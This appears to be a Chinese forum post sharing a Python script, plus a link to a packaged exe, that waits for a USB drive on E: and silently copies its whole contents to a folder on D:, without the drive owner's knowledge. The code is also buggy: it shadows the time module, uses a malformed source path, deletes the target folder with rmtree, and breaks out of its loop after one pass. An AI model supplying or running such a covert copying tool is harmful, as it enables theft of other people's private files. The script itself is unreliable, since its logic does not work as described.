猫史档案馆


【python】pycopy静默复制U盘文件方案

用户:月战老兵月战老兵查看:0 回复:2 评论:0 创建时间:2022-12-17T15:48:16


肝了好久,代码运行效率低,大家可以在评论区修改代码

打包成exe: h​t​t​p​s​:​/​/​w​w​w​.​1​2​3​p​a​n​.​c​o​m​/​s​/​k​W​4​D​V​v​-​G​b​f​K​A​

#by DMXX武夷岩
import os
import time
from datetime import datetime
import shutil
while True :
    while 0==0:
        try:
            uDiskPath = 'E'
            uDiskPath += ":/"
            while 0==0:
                if os.path.exists(uDiskPath):
                    time.sleep(30)
                    time=time.time()
                    str(time)
                    source_path = os.path.abspath(r'E:\ ')
                    target_path = os.path.abspath(r'D:\U喵')

                    if not os.path.exists(target_path):
                    # 如果目标路径不存在原文件夹的话就创建
                        os.makedirs(target_path)

                    if os.path.exists(source_path):
                        # 如果目标路径存在原文件夹的话就先删除
                        shutil.rmtree(target_path)

                        shutil.copytree(source_path, target_path)
                        print('copy dir finished!')
        except WindowsError:
            break 
        finally:
            break


回复

上一页1 页 / 共 1下一页
月战老兵月战老兵

链​接​:​h​t​t​p​s​:​/​/​w​w​w​.​1​2​3​p​a​n​.​c​o​m​/​s​/​k​W​4​D​V​v​-​P​b​f​K​A​

点赞0


评论


DpNoDpNo

您别刷屏就行...

点赞0


评论